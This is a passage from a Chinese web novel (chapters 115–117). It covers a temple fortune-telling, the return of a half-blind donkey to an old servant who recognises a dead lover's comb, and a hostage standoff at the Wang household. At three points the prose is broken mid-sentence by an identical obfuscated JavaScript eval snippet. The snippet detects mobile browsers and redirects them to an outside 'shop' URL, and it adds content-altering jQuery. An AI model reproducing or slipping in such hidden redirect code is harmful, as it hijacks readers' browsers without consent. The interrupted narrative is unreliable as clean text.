心口登时一暖,我搂住垂云的手臂感动的直摇尾巴。然而转念间,我又想起,当日,谢宁轩还领到了一支下签 。 唔,玄学,不信不灵,不信不灵嘛。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14115061|136592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我对自己强调,却架不住垂云在耳旁的念叨,尤其晚饭后闲来无事,她拉着我一路来到解签堂,我便也随着她了。 堂中坐着的是位老和尚,接过签文,他朗声念出: “旧人入梦惹徘徊, 沧海桑田世事改, 桃花依旧人不悔, 悬崖走马入尘埃。” “这是个两段签,很少见呐……姑娘,你可是经历了重大的变故?” 垂云殷切点头:“是是,大师真准!我家小姐半年前落水失忆,险些没命了呢!” 老和尚长“哦”一声,又低头看着签文,徐徐道:“姑娘,追逐过去,终也只能徘徊。若要化解悬崖走马的危险,只有入尘埃呐。” 啥玩意? 这说的什么似是而非、玄之又玄的套话? 我本能的不信,那厢,垂云却一拍脑门,恍然大悟:“啊,我明白了!尘埃,就是灰尘呐!小姐,你不能再那么勤洗澡了!” …… 大姐,你这什么脑回路! 余光扫到对面的老和尚都被噎住,我只好无奈的解释:“入尘埃,是入世的意思。大师指的是,我应该入尘世,入现世……” 现世? 等一下,我在说什么? 喉头一酸,犹如惊雷。我震惊的问:“等等,大师,你莫不是指,我应该活在当下,别再念念不忘属于我的过往了?” 老和尚抬眼,眸中精光一轮:“过往,难道不是已经化作尘土,永回不去了吗?” 心口一滞,如大石跌落,发出震耳欲聋的溃败声。 回不去,回不去了。 是啊,属于我的人生,已经由王羽书开始了书写。21世纪的自由和平等,终成一场美梦,是我再也回不去的尘土了。 “姑娘,记住,这个签文主的便是‘不悔’二字。未来,你若还想桃花笑春风,那便需要接纳春风,桃花才能依旧呐。” 接纳……是要我接纳这个时代的种种,同化在这时代,籍籍如每个悲哀的女性吗? 灰心骤然而生,周身的力气突然就被抽走了,我甚至不禁绝望的潸然泪下。 然而老和尚的话还没说完。他静静坐在蒲团上,烛光闪烁、光影变幻之际,隐约透出朦胧的不真实感。 声线遥远又空旷,他静静道:“坚守本心,坚守自我。姑娘,要想未来无忧,记住老僧的话。” 说罢,就如每个套路老旧的电视剧,他寂寂起身,再没有留下一言,便已离去。 余我枯坐于蒲团前,心乱如麻。 *** “小姐,这里的和尚解的签,也未必准。”垂云小心觑着我的表情,“等咱们回京城,还是去锦业寺求解,好不好?” 我不想让自己的情绪波及旁人,便强迫自己笑道:“没事,哪解都一样。这些都是千篇一律的说辞,听听罢了。” “可小姐,这老和尚说的……他只是故弄玄虚,小姐,别信他的。” 垂云还是担心了。我拍拍她的手,努力用乐观的语气道:“没信,我才不信这些。之前我说过,神佛之道、鬼神之论,都是敛财之术,信不得嘛。” 垂云瞪大了眼,张口就要反驳。话都嘴边,却又生生咽下,瓮声瓮气:“嗯,信不得,信不得。” “好啦,真别为我担心,我福大命大,什么悬崖什么走马,我才不怕!嗯,那个,今天的事,也别告诉谢宁轩,行吗?” 垂云郑重应下:“我明白,小姐放心。” 我微微松了口气。虽然心上,仍滚着泥石流,不得喘息。 这时,我二人已踏过月门,转进了住宿的厢房院落,一阵说话声传来。刚好我和垂云也结束了讨论,恰没惊动他人。 我沉浸在自己的心思中,没做留意。还是垂云听到了,摇摇我的手,压低声音问:“小姐,屋里的人,是不是在议论王家啊?” 115.疯驴 王是常见姓氏,即便王宅在金华算是大户,也不能代表随机碰到的八卦就和王宅有关。 虽是这样想,我的耳朵却很诚实,还是竖起倾听。 是一个年轻男人的声音,透着焦虑:“少爷,二娘回去了。咱们今晚何必还住在这? ” “我自有打算。”被唤作少爷的,是个懒懒的声音,“你回去吧,不必跟着侍奉了。” “那哪行啊?如今可不太平。少爷,您当家虽是惯了,免不了总有小人眼热,还是谨慎些好。” “啰嗦。”那人拉长了声线,又问,“三妹妹有消息了吗?” “还没,但听老夫人口风,也就这阵儿了。”小厮顿了顿,迟疑的问,“少爷,您真同意了?这三小姐,夫人不是瞧不上吗?嫁过来,咱们这房若是婆媳嫌隙,内宅鸡飞狗跳,岂不如了二房的愿,白白叫他们笑话?” 那少爷半晌没说话。 小厮旋又苦口婆心的劝:“东阳县里正,也算不得什么官儿,配咱们白家实属高攀。少爷何必为了老一辈的情谊,搭上自己个的终身大事?就算老太太坚持,少爷若是不愿,她也不能强求您呐。” “祖母这个样子,我怎么能违拗?母亲不喜三妹妹,不过是因现在两家差距大了,她觉得委屈了我,其实我并不在意。好了,这些话在我跟前说说罢了,在外不得闲话议论,可晓得?”少爷严肃了些,带着责怪的语气。 “是,小的明白。” 意义不明的对话过后,屋子里响起零碎的响动,似是小厮出去了。 垂云听的糊里糊涂,朝我投来疑问的眼神:“小姐,屋里这是王家的少爷吗?” 我亦拿不准,先问:“你刚听见他们议论王家什么了?刚这对话,也没提到王家啊。” 垂云想了想:“也没什么,好像就是小厮说,什么甲三静心堂,好多人都来过,徐家、冯家、王家什么的,然后那个少爷就问王家来了谁,小厮也不清楚。” 我曾从老爹处打听过,原主的祖父靠做小买卖,熬成了一方富户。本希望儿子们能走读书科举之路,奈何实在没遗传给天分。 原主的大伯继承家业却早逝;老爹剑走偏锋,送去学医没啥成果,偏偏仵作知识精通的很,又结识了未归玉牒的齐王爷,早早就去闯荡江湖,离开了金华。 唯有原主的三叔在膝下奉养二老。捐官加产业日益壮大,王宅在金华,便也逐渐排得上号。 而原主的祖母孀居后,便将几个孙女养在身边,一道住在三儿子宅邸。早逝的大伯膝下有嫡女庶女各一个,嫡女排行老大,早已出嫁,庶女排行老二,听说还未安排婚事。 三叔则有嫡出一男一女,庶出两女。 这唯一的男孩,便是王宅的掌上明珠,如今也不过十多岁,说是重金送去秋山学府求学,常年不在金华。 方才屋中那少爷,听声音怎么着也二十岁了,加上“当家”二字,就知不可能原主的堂弟。 嗨,那这两人也不是王家的嘛。 我失了兴趣,又回归到郁郁状态,及至回房洗漱睡下,都辗转难安。尤其隔壁房间,迟迟没听到脚步声,是谢宁轩还没回来吗?不就送个信,为什么耽搁那么久? 担忧、不安、对未来和现状的迷茫,使得我一夜都梦魇丛生。早起,眼下都有黑眼圈了。 次日谢宁轩瞧见,便连声致歉:“对不起,羽书,昨晚回来已三更,看你房间熄灯了,就没打扰。害你担心,害你没睡好,抱歉。” 说着,他就伸手来握我的手。 一反往日被笼罩的温热,我的手背,竟感到微小的刺痛。 我条件反射“嘶”了一声,唬得谢宁轩立即拿开手,反手放到眼前检查。我跟着一瞧,见他的手掌,竟出现了不少血点。 “怎么回事,你受伤了?”我吓了一跳,捉住他的手来回检查,“发生什么事了?你昨晚迟迟不归……难道有人袭击了你?” 谢宁轩立马搂住我的肩膀:“不不,不是,没有人袭击我。别担心,只是手掌有些擦伤。昨晚,嗯,昨晚遇到了个倒霉事。” “倒霉事?是什么?” “嗯,昨晚我去那驿站,虽在红觉寺背后,到底不是相连建的,走路还是需要些时间的,我便照例,骑马前去。” “然后呢?” “寄信之后,京城来信,也恰递到我手。是刑部的一些事务,需要我回信,这便又稍耽搁了些时间。” 谢宁轩一路安排行程极为苛刻,就是要让自己在每个驿站下榻时,京城或者南方的要紧事,都能第一时间联系到他。 这也是公知信息,怎地又提? 谢宁轩有些无奈:“这一耽搁,不就天黑了吗?等我往回骑,一路已是黑漆漆。我拎的灯笼几乎照不清前路,还碰到了一点小麻烦。” 我正纳闷他为何吞吞吐吐,不一次讲完,门口传来动静,是邓科匆匆而入:“公子,您没料错,马回来了,果然还跟着一头驴。那驴眼睛好像半瞎了,疯疯癫癫,进来就撞马槽,把别的马都惊了。” 驴? “询问寺僧了没,认得出是谁家的驴吗?”谢宁轩问。 “问了,说是像附近人家的。寺里马倌出去了,等下属下再问问。只是公子啊,咱们还要负责把它还给主人吗?这驴昨天冲撞了您,不杀都算仁慈了!” “冲撞……”我听懵了,一回头,谢宁轩正给邓科使眼色。 邓科却没接收到,又从怀中掏出一个小瓷瓶:“公子,这是寺僧给的药膏。您其他地方都好着吗?需要再拿些别的药吗?若是从马上摔下,可不能大意。” “从马上摔下!”我一听这话,还得了,马上追问谢宁轩,到底怎么回事,受伤严不严重。 谢宁轩柔声道:“没事,只是疯驴瞧见灯烛的光,突然冲出撞了马而已。” “这还‘而已’!”我跳了起来,立即去推谢宁轩起身,想要他再回房好好检查检查,可别伤筋动骨。他之前被砸到脊梁骨,都迟迟未愈,这个时代的医疗落后,可千万别落下隐疾,遗患终生啊。 谢宁轩却反手拉住了我的胳膊,将我按回到座位上。 “没事,我真的没事。疯驴冲来之前,我隐约瞧见,就勒缰下马了。眼睁睁看着驴和马撞到一起,我就是被劲风闪了一下,才跌坐在旁边的草丛上,手掌微微擦伤罢了。” 说着,他还稍微撩起一截衣袖,给我看他光滑的手臂,“呐,你瞧,一点事儿没有,身上也都好着呢。怎么,你还要亲自检查才肯相信呐?” 讨厌!说着就不正经了! 我啐了一口,但见他举止自然,动作之间没有勉强僵硬,这才略略放下心来。 “可你若是没受伤,昨晚怎么回来那么晚?” “马被撞后,就跑了,驴也追去了。我步行回来,自然晚了些。好在,这匹马跟我时日不短,也识得路,今早不就回来了吗?那驴倒是有些意思,还又跟来了。” 谢宁轩说的风轻云淡,我的内心却不平静。 明明是个世家贵公子,这支护卫也多是他的府内亲随。夜中办事,他却一个不带,只安排他们守在寺庙周围,生怕我出意外。 看出我有些哽咽,谢宁轩弯腰贴近,小心的用指腹摩拭着我的脸颊,柔声道:“羽书,别自责。我担心你,也是为了我自己的心安,怎么能怪你呢?不过是夜晚骑个马,哪里需要带人了。” “可昨晚要是还有个人,你哪至于遇到这档子事……” “那驴应是被夜晚闪烁的烛光吸引而来,我哪怕带着一队护卫也避不开。至于走路回来,又不长又不险,有何难?”谢宁轩声音越发柔软,“我做京城府丞日子不短,常有孤身查案涉险之时,这点小事,不足一提。” 眼泪还是没忍住,溢出眼眶,刚好落在他的指尖。 我抽噎着说:“以后别孤身探查,我可以陪你!别独来独往,多危险啊。” 蹦出这句话,说实在的,更多是因当下的氛围。我感动、感慨,心里充斥的都是他如春风拂面恰到好处的爱意。他将一切都揽在自己身上,哪怕出发点是我,也不愿给我增加心理负担。 听到他孤身犯险,想到他近乎执着的理想抱负,我钦佩,也心疼着。 所以,这一刻,理智并没有做出权衡,我几乎是完全跟随我的心,就脱口而出。 可话语落在谢宁轩耳中,这只狐狸立即就抓住了契机,马上应下,还把它生生变成了一项契约。 “那以后我可赖上你了。每桩案子,每个谜团,你都得陪我深入探查、抽丝剥茧,羽书,你可不许偷懒。” “你,你无赖!”眼泪都逼退了,我气恼地推开他。 谢宁轩却抱的很紧,又将轻柔的吻落在我的眼下。 眼看氛围又开始朝恋爱的酸腐画卷展开,我脑海中,想象着昨晚那幕,明明在后怕疯驴冲撞快马的危险系数,却偏偏又幻想起谢宁轩狼狈起身的模样。 翩翩公子,一向松风水月、从容不惊,在疯驴傻叫的背景音中,发髻散乱,神情懵逼的坐在草地上…… 我不合时宜的轻笑了一声,被这极致的反差感逗乐。 谢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14128448|136592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宁轩都方了,怔怔地瞧着我。三秒过后,他看穿了我的小心思,要不是涵养好,他非得冲我翻个白眼。 “好呀,我都遇到这晦气事了,羽书还笑话我?都不心疼心疼我。”说着,他就冲我的腰捏来,试图挠痒痒肉。 我赶忙求饶:“心疼了,心疼了,刚不是心疼了吗!” 谢宁轩才不留情,硬是抱住我狠狠挠了一阵,直痒的我连声求饶,瘫在他的怀中笑得喘不上气。 可算逮住机会,谢宁轩又趁我不备,低头啄起我的唇角。气息忽然就紊乱了,比大笑更令人呼吸不上。 好在,温度还没来及飙升,房门又被敲响了,是去而复返的邓科大叫:“公子,马倌认出了,那疯驴就是城外一个佃户的!” *** 佃户名叫老建头,家就在进金华城的路上,我们往王宅赶,刚好顺路。 邓科对谢宁轩坚持送还疯驴的举动极为不解,觉得一头疯驴不值几个钱,还冲撞了侍郎大人,不计较就算了,何必巴巴送还。 但等我们真到了老建头家,三两间怕是一场暴雨就能冲垮的破屋,一个篱笆东倒西歪满是枯萎落叶的院子,黑漆漆的灶、断条腿的凳……邓科也不禁心存怜悯,撇撇嘴没再说话。 老建头是个穿着满身补丁的粗布短衣、头顶挂满草屑的穷苦老头。来开门时,他正哭丧着脸,嘴里念念有词。 “你们、你们找谁……啊,驴,我的驴!天哪,驴祖宗呐,你还知道回来呐!我可找了你一夜!” 老建头冲了上去,抱着驴的脖子就大哭起来。一路疯癫,直想往马身上撞的驴,也在见到主人的一刻,难得乖顺。 垂云瞥一眼环境:“怪不得公子坚持,也对哦,这驴半瞎又疯癫,家里条件但凡好些,都不能还指望这头驴。” 垂柳咋舌:“那也不至于为一头驴,哭成这样吧。” 为我们引路的寺庙马倌听见了,叹道:“嗨,这已经是老建头家中唯一值钱的了,又能拉货,进城也少不了它,它这忽然跑了,能不着急吗?老建头……也是苦啊,前半生那么辉煌。” 这话勾起了垂柳的兴致,她凑近些问:“辉煌?什么意思呀?” 老建头还扑在不远处的驴颈处,伤心不已。 马倌见状便道:“他原来是大户人家的管家,外出都有马车轿子,穿着绫罗绸缎,手下没有一百也有八十。这一朝家业零落,肖氏主家也断了血脉,就他还守着两亩薄田和这房产,靠头瞎驴过活,能不伤心吗?” “原来还是这样!”好奇心满足,垂柳长叹一声,还想追问两句。谁知这时,那驴又不知抽什么风,忽然猛地嗷一嗓子,一蹄就踹在了篱笆院墙上。 登时,扎的歪歪捏捏、并不牢靠的院门顶上,就“扑哧哧”往下掉篱笆。 我和谢宁轩、垂云都站在院外三米处,波及不到我们。可本站在我身侧的垂柳,却因八卦,凑到人家院墙旁向内张望,此时,刚好就站在院门一侧。 一只篱笆落下,径直将她的发髻打散。 这年头女子普遍在意发髻齐整度,不愿轻易在公众场合散开发髻。垂柳懵了五秒,登时恼羞,忙不迭就往马车上逃。 但我们的梳子镜子还在马车后头的屉中,眼看垂云还得绕过去找,我顺手从怀中掏出橙橙的梳子递上:“先拿这个去梳吧,梳妆盒好像压在下方,怕是不好找。” 垂云应声接下,就往马车走。谁知,她刚刚路过抱着驴的老建头,后者忽然朝她冲去,直勾勾盯着她。老建头本就穿的破破烂烂,和疯驴抱头痛哭的举动又颇为反常,垂云吓得立时尖叫起来。 这前后不过一两分钟的事,大家都没料到。我立即喝了一句:“你干什么?”谢宁轩也走上前,朝邓科挥手。 然而,凿凿道道目光中,老建头什么也没有做。他只是挡在垂云身前,表情古怪,惊诧、慌张和震动,是一种防备且期待的五味杂陈。 我和谢宁轩下意识对视一眼,都意识到,老建头的目光,并非落在垂云身上。他怔怔盯着的,明明是垂云手上的梳子——属于橙橙的梳子。 我有点方,谢宁轩也极惊异:“老人家,怎么?您、您见过这个梳子?” 这一瞬间,我想起马倌方才提起的一个姓氏——初听没引起关注,现在却引发我无限联想的姓氏——肖。 祖母信中提过,橙橙私定终身的人,不就叫肖排场吗? 我按捺不住,惊问:“肖……肖公子,您是肖公子的家人?” 老建头眼睛瞪大,颤抖的问:“你、你们认识我家秀才?” 116.劫持 秀才? 肖排场还是个秀才?祖母信中可没提及。 我不禁担心是否搞错。 老建头又朝垂云走近两步,眼中是无限渴望:“梳子,梳子……姑娘,你可以把它给老头子吗?这、这可是我家秀才最喜欢的东西,日夜舍不得脱手啊。” 他真的认识这把梳子!橙橙的梳子! 肖排场喜欢橙橙亡母的梳子?哦,也算合理,应该是橙橙作为信物曾赠与过他。这么说,这个老建头,应该就是祖母信中,肖排场仅剩的老仆了。 嗯,也能和马倌的话对应上。 祖母信中曾说,盘问肖排场老仆未能得到什么线索。可老建头都能认出小主子对象的梳子,还能不清楚二人往来,不知晓内中玄机?王宅调查来,他有所防备故而隐瞒了吧? 是得套路一波了。 我从垂云手中接过梳子,故作低头细瞧,飞快朝谢宁轩递了个眼色。后者会意,先找了个借口:“老伯,你看我们帮你寻驴也花费了些时间,能否让我们进屋讨杯水喝。” 老建头一滞,有些不情愿。 邓科还对谢宁轩被冲撞一事计较,立即喝声:“你这疯驴把我们公子都惊了!公子惦记你不能没了生计,坚持要送来,你可好,一声道谢都没有,连给我们施舍口茶水,都扭捏不舍?” 马倌觑着邓科怒意,忙也劝:“哎呀老建头,不就是进屋喝个水吗?公子小姐都是富贵人儿,请进你家这是沾福气呢!” 老建头被轮番怼,也无法,只好推开篱笆院门,请我们一道入了院中。 也没先去打水,他反而先将院中石台上的两个馒头扔进一侧的柴房,喃喃道:“蠢狸猫啊蠢狸猫,找回了老驴,老头子又多个伴。你呀,就随便吃点东西吧,老头子可顾不上你了。” 语气苦涩,马倌了然颔首,在一旁配旁白:“提起小主人,这又顾影自怜了。” 柴房内传来“哗啦”一声,似是猫在撞门。 老建头料理完猫,这才去厨房水缸中舀水。我和谢宁轩趁机四下张望,很快,便注意到柴房外,丢着一盏破败的灯笼,上面隐约可见“东来赌坊”四字。 没错,结合祖母的来信,肖排场的确有赌博恶习,家败至此也是合理的。难道他的死,也与赌坊有关? 老建头端来了水,勉强堆着笑,又朝我手中的梳子瞟来。 我故意说:“老伯,肖公子现在何处?想要这把梳子,我得亲自交给他才是。” 老建头五官一皱,苦涩伤感:“我家秀……不在了,已经不在了,哎!” “不在了?怎么会!”我装作惊讶,“上京的王姑娘分明说,肖公子会在金华等她的呀。” 老建头拧眉反问:“王姑娘?” “应该是姓王吧?”我扭头看谢宁轩,假作追忆,“咱们路上碰见她,说叫什么来着?” 谢宁轩早就适应了我的戏精节奏,立即配合着说:“是,是姓王。不就是她给咱们这把梳子的嘛。” “王姓姑娘给您的?不是一个叫……嗯,怎么姓王呢?” 质疑、怀疑的语气。老建头分明知道,与自家秀才交好的姑娘姓名。但对王姓陌生,好像也不是演的。 怎么回事,橙橙的出身,老建头并不知道吗? 柴房的猫又发出了响动。 谢宁轩静静观察片刻,又道:“嗨,或许不是一个人,咱们是不是找错了?那王姑娘怎么说来着,要找的肖公子运势不佳,久考不中,并不是秀才呀。” 老建头脸色一僵,腮帮子鼓了出来:“不、不就是没、没过府试么,也、也快了!” 呵,原来三道考试第二关就卡住了,一个童生而已。叫声秀才,这是抬爱了。 我没表现出来,只继续问:“哦,过了县试也了不得呢。”——老建头脸色微霁——“但怎么肖公子就不在了呢?” 老建头垂下头,眼眶红了,半晌没说话。 他还是不想多说。 我只能更进一步,硬是挤出一丝哽咽声,故作慷慨激昂道:“那位姑娘在路上救过我的性命,我答应过她,一定要找到肖公子,诉说她的心意。却没想到肖公子……真是上天不怜!老伯,请告诉我到底是谁害了肖公子!我定要为他报仇!” 老建头苦笑,扯扯嘴角:“那些都是心狠手辣的主儿,小姐又如何敌得过……老头子我多少次劝阻,秀才就是不听,还嫌我老头子话多啰嗦,什么都不愿告诉我……指望赌博怎么可能把家业赢回来?万贯家财也玩不过人家做庄的呀!” 赌博,真是因为赌博死的? “怎么不告官?” “官……官又什么用?那都是不要命的主儿!我家秀才,千不该万不该,招惹那些人啊!” “坊间有这些残害百姓之徒,才该官府下狠手治理。”我激愤道,“金华管不了,还有上官可以仰仗;省府管不了,朝廷自会做主。这赌坊害死人命,必不能轻飘飘揭过呀!” 有眼泪滑下,老建头想起旧主,再也忍不住,哭诉曰:“那都是些心黑手毒的玩意,草菅人命!眼看我家秀才还不上钱,就把人捆进那大山里……偏偏当时老头子我在田里几日,不晓得紧要事,一耽搁,他就再也没有回来。呜呜呜呜……还把仅剩的两亩田契抢走了……” 大山?是哦,祖母调查不就说,肖排场死在深山中吗?看来,他的确是在老建头不在的时期失踪的,难怪老建头不知道更多信息。 但这么说,肖排场之死,就完全自作自受,被赌博所害。和橙橙,和幕后黑手,都无关了? 我不太相信,便又问:“老伯,您刚说肖公子喜爱这梳子,日日拿着。那他是什么时候送给那位姑娘的?” 老建头茫然的看看我,眼中还有泪花。 这梳子是橙橙亡母遗物,只可能由橙橙赠与肖排场,大约是做定情物。感情不变的基础上,不会返还给女方。 为什么橙橙北上,手中却有这把梳子? 结合肖排场在原主上京前就失踪来看,莫非这是绑他的人抢来,交还给橙橙,用来威胁她的? 可威胁什么呢? 赌坊为财,绑人、要挟还钱,是合理的。橙橙拿到后就该想尽办法凑钱赎人,又怎么就陪着原主上京了呢? 啊,不对,等等。 橙橙一开始不想上京,还记得吗?是忽然转了念头的。 难道,这就是她改变的契机? 是幕后黑手得知了她的处境,以大笔银钱引诱,让橙橙对主子下手,以救出心爱之人? 可肖排场还是死了。是幕后黑手说话不算话,还是中间又发生了什么?抑或者,幕后黑手一开始,就打算双杀,小情侣一个不留? 橙橙,久久未再出现,王宅怎么找也找不到的你,是不是也遭遇不测了? 谢宁轩附耳却问:“你是祖母掌上明珠,王宅也不缺钱,橙橙既遇到困难,为何不来求助你?” 是哦,这也解释不通啊。 我有些丧气。那厢,老建头却被旧事触动心神,激动的哭:“秀才啊秀才!你怎么就不在了?赌博害人、赌博害人!秀才啊秀才,你读书时多灵,人人夸聪明!县试后,县里书院还请你协助教书,你还记得吗?多少人家来请你上门?” 回忆往日荣光,老建头泪洒不止。面对我和谢宁轩想方设法的试探询问,也答不上来。观其表情,似非伪装。 或许,他真的知道的不多?面对王宅盘查,也只隐瞒了小主人相好姑娘的姓名?毕竟那是小主人曾喜欢的姑娘,他想维护,也是合理的。 只是,肖排场的存在,祖母且花费了些时间才查到,而原主那个因病未成行的另一丫鬟,也对此毫不知情,就说明橙橙,大概率在王宅就没提过此事。 那,幕后黑手怎么发现这对鸳鸯并加以利用的? 在肖排场旧仆家查到的线索,就这些了。虽然距离拼凑出真相,还差的很远,但这意外之喜,聊胜于无嘛。 此时的我,只觉得谢宁轩一时善举,好心有好报。在进城的马车上,还不忘赞他为官有慈,懂得百姓疾苦,是个好官儿。 谢宁轩很谦虚,表示自己也是误打误撞,见那驴虽又瞎又疯,毛发却梳理的整齐,显然主人颇为重视,便想着百姓不易,能帮则帮一把。 这时候,我二人都不曾料到,就今天这巧合一访,来日,竟成了扭转局势的定海神针。 那就是后话了。 眼前,我们还是直奔王宅归去。越到跟前,谢宁轩越是不安, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14137025|136592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拉着我的手叮嘱来叮嘱去,直可比拟唐僧。而让这种不安达到顶点的则是,与我们预想中进入王宅的场面大相径庭,敲门半晌,王宅竟无人来开。 王家在金华商界可列前茅,宅邸占了半条街,下人众多。这种配置,即便主子全家出门游玩,宅子也会有人看守,断不会天还没黑,连个开门的都没有。 我生出些不详预感,邓科将锈金扣环用力砸在黑沉的木门上,发出厚重的响声。 “公子,二小姐,这……” 恰在此时,木门“嗡”的一声,终于被打开了。我们都松了口气。 开门的小厮在见到我的一刻,眼前一亮,脱口却道:“三小姐,您怎么这会儿回来了?” 三小姐?啊,原主排行老三吗? 谢宁轩则皱眉问:“这会儿?什么意思,这时间怎么了?” 小厮支支吾吾,目光落在谢宁轩及身后的邓科等人,莫名犹豫起来。突然的沉默背后,一声高亢尖利的叫声穿破云层,直戳每个人的耳膜。 “不许动弹!你再挣扎,信不信我割了你娇嫩的脖子!”是个男声,严厉的威胁着。 我和谢宁轩当即周身一震,拔腿就往宅子中跑。顺着声音,绕过一处花园,就见三三两两窄袖短衣的丫鬟小厮,聚集在一起窃窃私语。 而一处小院落外,正围着一圈拔刀护卫,紧张的盯着院中。 月门口,还有七八个女子或攀着月门颤抖,或绞着帕子咬唇。左侧两个没张开、大约十二三岁的小女孩,则指着月门旁一棵大树嘀咕。 “放开我的女儿!大刘,你是疯了吗!敢劫持自家小姐?”月门前一个穿着华丽的中年妇人,气的瑟瑟发抖。 我和谢宁轩脚步不算轻,但眼前情势严重,还是没有一个人闻声扭头。除了那两位小女孩。一个扭脸瞧见,立时就朝我奔来:“三姐?” 另一个小朋友也惊喜不已:“三姐?你回来了!” “哇!”两个小朋友一并朝我扑了过来。 我哪见过这阵仗,吓得连退两步,被谢宁轩用手掌抵住背时,才发觉踩到了他的脚。来不及道歉,两个小朋友已经将我一左一右架住,传来一大段叽叽喳喳的声音。 “三姐?你怎么才回来啊!” “三姐你真突然!从哪儿冒出来的!” “三姐,四姐被劫持了,好吓人啊!” “是大刘干的,他疯了!” 劫持!怎么回事,四姑娘怎么会被劫持? 等等,原主排行老三,那被劫持这位,就是她的堂妹了? 按照顺序,那应该是三叔三婶的嫡出女儿,眼前这俩小朋友,则是三叔的一双庶出女儿,一胞所生,面容相似。 观二人此刻对待我的亲切态度,就知她们和原主感情很好。 我有点头大。 那厢,穿着华丽的中年女子——应该就是原主的三婶——身侧,还站着一位高高束发,观之英姿飒爽的姑娘,也正朝里面脆声叫:“大刘,有什么话你好好说,你想要什么?你说出来!别伤着四表姐!” “四妹,四妹妹!”另一侧,则有一位穿着粉莺广袖斗篷的花样年华的姑娘,在垂泪不止。 里面的人在呐喊,是个粗犷的男声。“我不想要什么!我什么也不图!我只要个公正,我没有偷看她更衣,为什么不听我解释?” “你还说,你混蛋!”尖利的哭声响起,也是从院中传来的。 “闺女,闺女!”三婶一听,更紧张了,若非身侧有人扶着,都站不稳了。 “闭嘴!都是你这死婆娘害的!还敢叫嚷,还敢命令我!信不信我现在就捅死你!”里面的男子愤怒大叫。 “你们还愣着干嘛,快拿下,拿下他啊!”三婶捂着脸,对小院一圈护卫大叫。 可小院一圈院墙不低,护卫无从进入,又不能直接从月门口突破。护卫们面面相觑,挪动着脚步不知所措。 此举火上浇油,激得院中劫持者更暴怒。只听一句脏话过后,似乎他就要动手杀人了,引得月门外女眷连声尖叫。 就在这关键一刻,女眷们身后传来一声突兀、格格不入的“住手”声,引的众人回头,都是一惊。 是谢宁轩,大步跨前,冷静、沉着。 117.三婶 “你是何……”高高束发的姑娘率先发问,很快看见谢宁轩身后的我,表情一变,透着惊喜,“三表姐,你回来了!” 三婶也瞧见我了,没怎么理会,只顾朝着谢宁轩上下打量。 里面挟持四姑娘的大刘意识到门口有骚动,声音都惊恐了:“你们、你们报官了?仗势欺人!你们……” “别误会!千万别误会!”谢宁轩高声道,挥手示意月门边的人都散开。另一只手背到身后,悄然伸出食指,朝左边指了指。 跟随而来的邓科立即拔腿,绕道院落后方。 “大刘是吧?我不是金华府衙的,别误会。我只是来王宅做客的。” “那关你什么事,滚,滚远!”大刘激动的叫。 “冷静,冷静!”谢宁轩沉声道,又朝我侧侧头,示意我也上前。 我不知道他到底作何打算,但信任作为基底,一丝犹豫都无,我立即就跑过去。 不大的院落中,一个长相粗笨、有些驼背的男子,正拿着一只匕首,抵在一位花样年华的姑娘颈部。 姑娘未着大氅与披风,在北风呼呼中瑟瑟发抖。巴掌大的小脸,被恐惧扭曲。 谢宁轩指着我的脖子,竟说:“这位羽书小姐,听说是你们三小姐?那应该和四小姐年岁相仿。你瞧,胖瘦也差不多,脖颈都一样细。你那尖刀可得拿稳了,只消刺歪一寸,腥红的血液,就得从这儿扑哧喷出。” 这一席话,让院中院外的人都惊了一跳。 大刘手立即往后撤了两分,紧紧箍着四姑娘胳膊的臂膀,也不易察觉的颤了颤。 我和谢宁轩对视一眼,立即就意识到,这不是一个残忍、嗜血的杀人狂魔,他听到谢宁轩森森描述,明显露出本能的害怕。 这就好办了。 谢宁轩马上就说:“在下凌轩,翰林院的博士,曾给御青王府做过讼师,最好打抱不平了!你刚说这王家怎么冤枉你了?与我详说,我必帮你讨回公道来!” 大刘不太相信,狐疑的瞅了眼手上的人质,似乎在判断这是不是王家搞的鬼。他怀中的人质,则直勾勾盯着我,眼中一茬一茬冒泪。 “御青王……”大刘还没说话,门口的三婶忽然发出质疑声。 我连忙“嘘”了一声,谢宁轩更是理都没理,只从怀中掏出御青王府的金牌,紧紧望着大刘,又加码:“大刘,你听说过御青王吗?你瞧这个,王爷亲赐的金牌,拿到你们金华府丞面前,我也是能说得上话的。” 怎么还增加了个博士身份,我有些懵。情势之下,唯有也劝:“是呀是呀,这位凌博士最善查察冤情,他一定能帮到你的!” 大刘表情略有松动。 谢宁轩朝我侧侧头,装作不解:“这次南下偶遇羽书小姐,一路同行很是融洽,我还以为王家人都心善仁义,不会是冤枉他人的……” 